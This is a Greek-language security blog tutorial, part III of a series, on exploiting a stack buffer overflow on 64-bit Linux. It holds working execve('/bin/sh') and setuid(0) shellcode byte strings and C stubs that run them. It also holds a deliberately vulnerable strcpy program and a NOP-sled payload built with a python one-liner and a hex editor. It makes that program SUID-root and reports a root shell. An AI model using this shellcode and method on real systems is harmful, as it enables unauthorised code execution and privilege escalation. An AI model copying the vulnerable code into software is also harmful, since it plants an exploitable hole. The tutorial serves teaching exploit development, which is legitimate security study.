Buffer Overflow (part III)

Buffer Overflow (part III)

ShellCodes

In hacking, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called “shellcode” because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode. Shellcode is commonly written in machine code. (Wikipedia)

Το Shellcode είναι ένας τύπος ByteCode, δηλαδή ένας πηγαίος κώδικας σε καθαρό κώδικα μηχανής!
Στην πραγματικότητα, ένα shellcode είναι ένα bytecode που εκτελεί ένα κέλυφος εντολών: Ένα “περιβάλλον” στο οποίο μπορώ να εκτελέσω εντολές συστήματος.

Για να μπορέσετε να δημιουργήσετε έναν λειτουργικό Shellcode έχετε (κυρίως) δύο επιλογές:

  1. Δημιουργήστε ένα πρόγραμμα σε Assembly, μεταγλωττίστε το και χρησιμοποιήστε τον εκτελέσιμο κώδικα που δημιούργησε ή
  2. Κάντε το ίδιο με ένα πρόγραμμα C ή C++.

Ας ακολουθήσουμε την πιο βασική μέθοδο: να δημιουργήσουμε ένα shellcode μέσω της γλώσσας Assembly.
Υπάρχουν πολλοί διαθέσιμοι κώδικες shell, στο διαδίκτυο. Ένα πολύ γνωστό μέρος είναι εδώ: https://www.exploit-db.com/

Παρακάτω έχω ένα shellcode που θα δημιουργήσει ένα Bash Shell στη γλώσσα assembly:

;
;
; Source: https://www.exploit-db.com/exploits/47008
;
; Compile: nasm -felf64 spawn_shell.nasm -o spawn_shell.o
; Link: ld spawn_shell.o -o spawn_shell
;-----------------------------------------------------------
;
global _start

section .text

_start:

    ;int execve(const char *filename, char *const argv[],char *const envp[])
    xor     rsi,    rsi                    ;clear rsi
    push    rsi                            ;push null on the stack
    mov     rdi,    0x68732f2f6e69622f     ;/bin//sh in reverse order
    push    rdi
    push    rsp    
    pop    rdi                ;stack pointer to /bin//sh
    mov     al,    59         ;sys_execve
    cdq                       ;sign extend of eax
    syscall

Δημιουργώ ένα πολύ απλό bash script για να μεταγλωττίσω το πρόγραμμα και να εμφανίσω τον αντίστοιχο κώδικα byte:

echo '3[33;1mCompiling...3[0m'
nasm -f elf64 -o $1.o $1.asm
ld -o $1 $1.o
echo 'ok'
echo
echo '3[33;1mAssembly code:3[0m'
objdump -M intel -d $1
echo

Αυτό που μένει τώρα είναι να κάνω compile το Assembly πρόγραμμα:

Ο bytecode (ή ο κώδικας μηχανής) παραπάνω αντιπροσωπεύεται ως μια σειρά δεκαεξαδικών αριθμών, και είναι στην πραγματικότητα μια σειρά από bytes. Η μόνη εργασία που απομένει να κάνω τώρα είναι να πάρω αυτόν τον bytecode και να τον βάλω σε μια συμβολοσειρά ως εξής:

"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"

Σημειώστε την δεκαεξαδική μορφή εδώ. Σας θυμίζει κάτι από το Μέρος ΙI (η προσέγγιση ROP)  😎

Η βασική ιδέα εδώ είναι η εξής: Θέλουμε να βάλουμε αυτόν τον bytecode στη μνήμη και να τον εκτελέσουμε σαν ένα πρόγραμμα.

Χρήσιμες Σημειώσεις:

  • Υπάρχουν διαφορετικά bytecodes και συγκεκριμένα shell-codes για αρχιτεκτονικές 64 bit και 32 bit.
  • Ένα shell-code που εκτελείται σωστά σε σύστημα 32 bit δεν μπορεί να εκτελεστεί σε σύστημα 64 bit.
  • Για να μπορέσουμε να εκτελέσουμε έναν bytecode που βρίσκεται στη στοίβα (Stack), πρέπει να ενεργοποιήσουμε τη δυνατότητα του συστήματος να επιτρέπει την εκτέλεση κώδικα σε μη εκτελέσιμη θέση μνήμης. Αυτό μπορεί να γίνει (για παράδειγμα) χρησιμοποιώντας τη flag execstack -z στον μεταγλωττιστή gcc.
  • Ένα shellcode που εκτελείται σε ένα σύστημα (για παράδειγμα σε ένα CentOS x64) δεν είναι 100% εγγυημένο ότι θα μπορεί να εκτελεστεί σωστά σε ένα άλλο σύστημα με την ίδια αρχιτεκτονική, για παράδειγμα σε ένα κουτί Ubuntux64.

Μια ερώτηση που κάνουν πολλοί είναι: Πώς να δοκιμάσω τον shellcode μου;
Χμ… Λοιπόν, έχω δυο μεθόδους για να δοκιμάσω τα shell-codes μου και θα παρέχω και τις δύο σε αυτό το άρθρο.

Testing a shellcode – method I​

Ο παρακάτω κώδικας σε C, μπορεί να χρησιμοποιηθεί και ως template για την φύλαξη του shellcode μέσα σε μια συμβολοσειρά (string) και τη δυνατότητα δοκιμής του. Το πρόγραμμα δημιουργεί ένα buffer με τον shellcode και του αποδίδει δικαιώματα RWX χρησιμοποιώντας το mprotect().

/**********************************************************************
*
* Program: tester64.xss.org.c
*
* Initial Date: 08/06/2021
* Mod my Geometry: change to work on 64bit (10/04/2023)
*
* Initial Author: Travis Phillips
*
* Purpose: This code is used to provide a C template to paste shellcode
*          into and be able to run it live from within an ELF x64 binary's
*          char buffer. This allows you to create a buffer with the
*          shellcode globally and this program will mark it as RWX using
*          mprotect() and then finally jump into.
*
* Compile: gcc -m64 tester64xss.org.c -o tester64.xss.org
*
***********************************************************************/
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
/////////////////////////////////////////////////////
//  source file: execve(/bin/sh)
/////////////////////////////////////////////////////
char payload[]="\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05";
int main() {
// Print the banner.
puts("\n\033[33;1m---===[ Shellcode Tester x64 Stub v1.1 ]===---\033[0m\n");
// Print the size of the shellcode.
printf(" [\033[34;1m*\033[0m] Shellcode Size:  %d\n", sizeof(payload)-1);
// Create a function pointer to the shellcode and
// display it to the user.
void (*payload_ptr)() =  (void(*)())&payload;
printf(" [\033[34;1m*\033[0m] Shellcode Address: 0x%08x\n", payload_ptr);
// Calculate the address to the start of the page for the
// the shellcode.
void *page_offset = (void *)((long)payload_ptr & ~(getpagesize()-1));
printf(" [\033[34;1m*\033[0m] Shellcode page: 0x%08x\n", page_offset);
// Use mprotect to mark that page as RWX.
mprotect(page_offset, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
// Finally, use our function pointer to jump into our payload.
puts("\n\033[33;1m---------[ Begin Shellcode Execution ]---------\033[0m");
payload_ptr();
// We likely won't get here, but might as well include it just in case.
puts("\033[33;1m---------[  End Shellcode Execution  ]---------\033[0m");
return 0;
}

Όπως μπορείτε να δείτε στα σχόλια, δεν χρησιμοποιούμε το -z execstack στη μεταγλώττιση επειδή αναγκάζουμε το πρόγραμμα να θεωρήσει τη μνήμη ως RWX (Read Write Execute) χρησιμοποιώντας το mprotect(). Η εκτέλεση και η δοκιμή είναι η ακόλουθη:

Χρήσιμες Σημειώσεις:

  • Δεν μπορείτε να χρησιμοποιήσετε το παραπάνω πρόγραμμα για να δοκιμάσετε shell-codes 32 bit.
  • ΑΛΛΑ, είναι πολύ εύκολο να αλλάξετε το πρόγραμμα για δοκιμή shellcode 32 bit: Χρειάζεται μόνο να αλλάξετε τη γραμμή 47 από:
    void *page_offset = (void *)((long)payload_ptr & ~(getpagesize()-1));
    σε:
    void *page_offset = (void *)(int)payload_ptr & ~(getpagesize()-1));
  • Το shell-code δεν πρέπει να περιέχει το byte “00” γιατί το πρόγραμμα θα το θεωρήσει ως συνθήκη τερματισμού και θα σταματήσει την εκτέλεσή του. Αυτή η δυνατότητα προκαλεί έναν από τους περισσότερους πονοκεφάλους κατά τη δημιουργία shell-codes. Υπάρχουν πολλές μέθοδοι που μπορούμε να χρησιμοποιήσουμε για να αποφύγουμε τα “00” bytes (όπως το XORing), αλλά αυτό είναι κάτι που ξεφεύγει από το στόχο του τρέχοντος άρθρου.
Δείτε επίσης:   Χρησιμοποιώντας το Dirb για εντοπισμό κρυφών φακέλων και αρχείων σε ιστότοπους

Testing a shellcode – method II​

Αυτή είναι μια πολύ κοινή μέθοδος που χρησιμοποιούν σχεδόν όλοι οι (κανονικοί;;) άνθρωποι για να δοκιμάσουν τα shell-codes τους… Είναι πολύ πιο απλή και απαιτεί να ορίσετε ορισμένες flags κατά την μεταγλώττισης (που ήδη είδαμε στο Μέρος ΙΙ αυτής της σειράς). Αυτός είναι ο κώδικας σε C:

//  tester2-xss.is.c
//  source file: https://www.exploit-db.com/exploits/47008
//  Linux/x86_64 - execve(/bin/sh)
//  payload size: 22 bytes
//
// compile with:   gcc -w -m64 -g -fno-stack-protector -z execstack -o tester2-xss.is tester2-xss.is.c
//////////////////////////////////////////////////
main() {
char shellcode[] = "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05";
(*(void (*)()) shellcode)();
}

Πιο απλό και σχεδόν μια γραμμή κώδικα, ε; Αυτή είναι και η άγρια ομορφιά της C. 😈 

Και πάλι, η δοκιμή είναι εύκολη:

ShellCodes on buffer overflow​

Εξετάστε το παρακάτω πρόγραμμα επίδειξης σε C που χρησιμοποιήσαμε στο μέρος IΙ αυτής της σειράς. Βάζω εδώ (για λόγους σαφήνειας) ολόκληρο τον πηγαίο κώδικα:

// demo.c
//
// Compile: gcc -m64 -g -fno-stack-protector -z execstack -o demo demo.c
//
#include <stdio.h>
#include <string.h>
int checkProductKey(char *userKey) {
char key[64];
strcpy(key, userKey);
int n = (strcmp(userKey, "123-456") == 0);
return n;
}
int main(int argc, char* argv[]) {
char key[255];
if (argc != 2) {
printf("Enter product key >");
scanf("%s",key);
}
else
strcpy(key, argv[1]);
int iAllow = checkProductKey(key);
if (!iAllow) {
printf("Wrong key!\n");
return -1;
}
printf("Welcome to the DEMO SA Application.\n");
printf("(c) 2023 all rights reserved.\n");
return 0;
}

Χρησιμοποιώντας τη μέθοδο που περιγράφεται στο Μέρος ΙI, μπορούμε εύκολα να βρούμε τη διεύθυνση RET και το exploit για να ανακατευθύνουμε το πρόγραμμα και να παρακάμψουμε τους ελέγχους ProductKey:

Όπως παρατηρείτε, το μεταβλητό κλειδί της συνάρτησης checkProductKey έχει μήκος 64 byte. Ο στόχος μας είναι να αντικαταστήσουμε ορισμένα “A” με τα byte του shellcode και να ανακατευθύνουμε το πρόγραμμα μέσα στο ίδιο το bufferI για να εκτελέσουμε το shellcode. Για να γίνει αυτό πιο εύκολα, θα αλλάξουμε τον τρόπο με τον οποίο προσθέτουμε τις τιμές των ορισμάτων από την γραμμή εντολών. Θα χρησιμοποιήσουμε ένα HexEditor για αυτό. Το Kali έχει δύο πολύ ωραίους HexEditor: το HexEdit και το HexEditor. Αλλά, φυσικά, μπορείτε να επιλέξετε όποιον άλλον hex-editor θέλετε να δουλέψετε.

Θα βάλω τα ορίσματα (που θα περάσω στο πρόγραμμά μου) σε ένα αρχείο θα τα επεξεργαστώ με τον hex-editor.

Στην αρχή  τοποθετώ τα ορίσματα σε ένα αρχείο με το όνομα args, άρα δίνω την εντολή:

python -c 'print("A"*88+"\x55\x55\x55\x55\x52\x61"[::-1])' > args

Τώρα το αρχείο args περιέχει τα ορίσματα και μπορώ να τα διαχειριστώ μέσω ενός hex editor εισάγοντας αυτήν την εντολή: 

exeditor -b args

Σημειώστε ότι η flag -b μου επιτρέπει να κάνω αλλαγές (διαγραφή, εισαγωγές) όταν δουλεύω μέσα στο αντίστοιχο αρχείο:

Χμ… δεν είναι ακριβώς αυτό που θα ήθελα να δω. Ο τελευταίος χαρακτήρας “0A” είναι οι χαρακτήρες αλλαγής γραμμής που βάζει το σύστημα όταν κάνω την ανακατεύθυνση στο αρχείο args. Δεν το χρειάζομαι εδώ, οπότε θα το αφαιρέσω!

Δείτε επίσης:   Πώς να χακάρετε μια σελίδα με το Havij (script kiddie)

Αυτό είναι το σωστό αρχείο:

Τώρα μπορώ να ελέγξω αν το exploit μου εξακολουθεί να λειτουργεί περνώντας το αρχείο args ως παράμετρο γραμμής εντολών:

./demo $(cat args)

και ορίστε και το PoC (Proof of Concept) :

Λειτουργεί μια χαρά!

Τώρα, ας πάμε στο πρόγραμμα εντοπισμού σφαλμάτων (debugger) για να εξηγήσουμε μερικά πράγματα ακόμα:

Βάζουμε ένα σημείο διακοπής (break point) στη γραμμή 7, με την εντολή b 7 (όπως στο Μέρος II) και τρέχω το πρόγραμμα με την εντολή:r $(cat args)

Αυτό που βλέπω εδώ στο ΚΟΚΚΙΝΟ κουτάκι είναι το σημείο που βρίσκομαι: Η αντικατάσταση της προσθήκης RET με 0x555555555261 είναι αυτή που εκτελεί την ανακατεύθυνση (ROP).

Αυτό που βλέπω στο ΚΙΤΡΙΝΟ κουτάκι είναι το σημείο που θέλω να πάω: Θέλω να βάλω τον ShellCode μου κάπου μέσα στα “Α” και μετά να αλλάξω τη διεύθυνση RET να δείχνει προς αυτές τις διευθύνσεις (σε κίτρινο πλαίσιο).

Για να μεγιστοποιήσω την πιθανότητα για μια επιτυχημένη επίθεση θα χρησιμοποιήσω ένα επιπλέον κόλπο: θα αντικαταστήσω τα “Α” με την εντολή NOP.

Ένα NOP (δεκαεξαδικό 0x90) είναι μια οδηγία για να πείτε στο σύστημα να μην κάνει τίποτα, και κατά συνέπεια να μεταβεί στην επόμενη εντολή!

Έτσι, σε περίπτωση που η διεύθυνση RET δεν δείχνει ακριβώς τη διεύθυνση έναρξης του shellcode, αλλά ίσως μερικές διευθύνσεις πριν, αλλά με την χρήση των 0x90, ο shellcode μου θα εκτελεστεί τελικά (ελπίζω).

Ας δούμε πρώτα αν το exploit μου λειτουργεί αν αντικαταστήσω το “A” με το “90”.:

… Επιτυχία!

Τώρα θα προσπαθήσουμε να βάλω το shell-code μου (αυτό που δημιούργησα στην προηγούμενη παράγραφο) εδώ μέσα: Εάν διαγράψω τα “\x” από τον κώδικα του shell μου “\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b \x99\x0f\x05″

Θα έχω αυτό:

4831f65648bf2f62696e2f2f736857545fb03b990f05

Τώρα, πρέπει να το βάλω αυτό στην κατάλληλη θέση μέσα στο αρχείο args και στη συνέχεια να αλλάξω τη διεύθυνση RET προς μια διεύθυνση πριν από τον shellcode αλλά μέσα στο buffer των “90” (δείτε το Κίτρινο Πλαίσιο στην δεύτερη παραπάνω εικόνα).

Δείτε λοιπόν την εκτέλεση στην παρακάτω εικόνα. Πράγματι, πήρα shell-access!

Όπως μπορείτε να δείτε, έλαβα ένα shell εισάγοντας το shellcode μου στο αρχείο args και αλλάζοντας τη διεύθυνση RET στο σύνολο των πιθανών διευθύνσεων που βρήκα από τον debugger.

Σημειώστε ότι οι διευθύνσεις που βρίσκονται στο STACK που πήρα από τον debugger δεν είναι εγγυημένο ότι θα είναι ακριβώς οι ίδιες με αυτές που έχω όταν εκτελώ το πρόγραμμα κατευθείαν από τη γραμμή εντολών (και όχι μέσα από τον debugger). Σε τέτοιες περιπτώσεις πρέπει να αλλάξω λίγο τη διεύθυνση RET μέχρι να εκτελεστεί το shell.

Got root?​

Μέχρι στιγμής έχουμε ένα shell με δικαιώματα χρήστη. Αλλά αυτός δεν είναι ο τελικός μας στόχος, καθώς ο κύριος σκοπός μας (συνήθως) είναι να αποκτήσουμε root… ή να αποκτήσουμε ένα shell με δικαιώματα root.

Το ερώτημα τώρα είναι: είναι αυτό δυνατό; Λοιπόν, η απάντηση είναι ΝΑΙ, αλλά υπό ορισμένες προϋποθέσεις.

Μια τέτοια προϋπόθεση είναι όταν εκτελούμε ένα πρόγραμμα SUID.
SUID: σημαίνει Set owner User ID. Αυτή είναι μια ειδική άδεια σε συστήματα με λειτουργικό LINUX, που ισχύει για scripts ή εφαρμογές. Εάν έχει οριστεί το bit SUID, όταν εκτελείται το πρόγραμμα, τότε το UID είναι κατόχου του αρχείου (που είναι ο root), αντί του χρήστη που το εκτελεί.

Υπάρχουν ορισμένες περιπτώσεις που ο χρήστης root δίνει άδεια SUID σε μια εφαρμογή λόγω συγκεκριμένων προνομίων που απαιτεί. Επιπλέον, ορισμένα προνόμια χαμηλότερου επιπέδου μπορούν να εκτελέσουν ένα πρόγραμμα SUID χωρίς να χρειάζεται να κατέχουν δικαιώματα root.

Η ευπάθεια προκύπτει από μια τέτοια κατάσταση είναι όταν το πρόγραμμα SUID έχει μια ευπάθεια buffer overflow τότε μπορεί να επιτρέπει στον απλό χρήστη να εκτελέσει μια εντολή με τα δικαιώματα SUID… Έτσι, μπορείτε να φανταστείτε τι θα γίνει αν το μικρό μας πρόγραμμα επίδειξης είχε SUID priv/s; Ας το δούμε αυτό στην πραγματικότητα.

Πρώτα απ ‘όλα κάνουμε το demo εκτελέσιμο SUID, ως εξής:

sudo -s
chown root demo
chgrp root  demo
chmod 4777 demo

Έτσι, ανοίξτε μια κονσόλα root, αλλάξτε το Group και τον Owner του προγράμματος σε root και μετά αλλάξτε το Mode σε 4777.

Δείτε επίσης:   Πως θα σπάσετε WPA2-PSK Wi-Fi – FLUXION PART 2

Τώρα το πρόγραμμα επίδειξης μας, μοιάζει με αυτό:

Σύμφωνα με τη λογική SUID που εξηγήσαμε παραπάνω, αν εκτελέσουμε το shell μας μέσα στο address-space του demo, θα πρέπει να επιστρέψει ένα root shell!

Λοιπόν, ας το δοκιμάσουμε:

Ωπ!!! 😳 😳
Όχι!!! Δεν δουλεύει… 👿 🙁 

Έχω πάρει shell αλλά με user priv/s!! Μα γιατί??

Λοιπόν, υπάρχει λόγος για αυτό:
Many popular implementations of linux sh drop privileges when they start up: They reset their effective UID to their real UID. This includes ‘bash’, ‘dash’, ‘mksh’ and ‘BusyBox’ sh, so on Linux you won’t see anything else…

…επομένως στο Linux δεν θα παίξει…. Χμμμμ, μπορούμε να κάνουμε κάτι για αυτό;
Και φυσικά η απάντηση (ως συνήθως) είναι: ΝΑΙ!
Μπορούμε να δημιουργήσουμε έναν shell-code σε assembly  που ορίζει το UID σε μηδέν (0) (γνωστός και ως ρίζα – root) και στη συνέχεια να καλεί το shell.

Για να γίνει πιο συγκεκριμένο τεχνικά, δείτε αυτό:

$ setuid(0); execve(/bin/sh);

Λοιπόν, ένα τέτοιο shell-code δεν είναι απαραίτητο να το δημιουργήσετε από την αρχή, καθώς υπάρχει ήδη εδώ: https://shell-storm.org/shellcode/files/shellcode-77.html

Ο κώδικας του shell είναι αυτός:

\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48
\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1
\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57
\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a
\x3c\x58\x0f\x05";

Για να βεβαιωθώ ότι θα λειτουργήσει στο δικό μου Kali, το δοκιμάζω με τον πρόγραμμα που παρουσίασα στην παράγραφο “Shellcodes” και επαλήθευσα ότι όντως επιστρέφει ένα shell.

Λάβετε υπόψη ότι πρέπει να δοκιμάσετε όλους τους κώδικες shell πριν τους εκτελέσετε για να ελέγξετε αν λειτουργούν στο σύστημα σας. Σημειώστε επίσης ότι υπάρχουν περιπτώσεις που ακόμη και οι κώδικες shell δεν λειτουργούν όταν μεταβιβάζονται στo Stack. Ξέρετε, όπως είπαμε στο Μέρος ΙI, μερικές φορές τα αποτελέσματα δεν είναι ντετερμινιστικά.

Τέλος πάντων, ας δοκιμάσουμε αυτό το νέο shellcode με το δοκιμαστικό μας πρόγραμμα. Η πρώτη ερώτηση είναι: Χωράει στο buffer;
Λοιπόν, ο παραπάνω shellcode είναι 48 bytes και το buffer μας (η βασική μεταβλητή) είναι 64 bytes, οπότε η απάντηση είναι ΝΑΙ. Εντάξει ας το κάνουμε! Τροποποιήστε το αρχείο args και εκτελέστε το…

OOooo YES!
Got Root!

Και τώρα, τί;

Τι θα λέγατε να φτιάξουμε ένα Μέρος IV σχετικά με ένα αντίστοιχο παράδειγμα στα Windows 11 64 bit; Ενδιαφέρεσαι ακόμη? Αν ναι, stay tuned… for the next part!

Με πολύτιμη εμπειρία στον κόσμο της κυβερνοασφάλειας συμβάλλει ενεργά στην κοινότητά μας με αναλύσεις ευπαθειών και οδηγούς.

Με τη συνεισφορά του, προσφέρει στην κοινότητα μας ένα πλούσιο φάσμα γνώσεων και δεξιοτήτων που ενισχύουν την ανάπτυξη και την ασφάλεια του ψηφιακού μας κόσμου.

Security enthusiast | Technology & Information Security Manager
CISA, CEH, CEH Item Writer, ISO27001 LA, DPO Executive

0 0 votes
Article Rating
Subscribe
Notify of
0 Comments
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x
()
x
Secured By miniOrange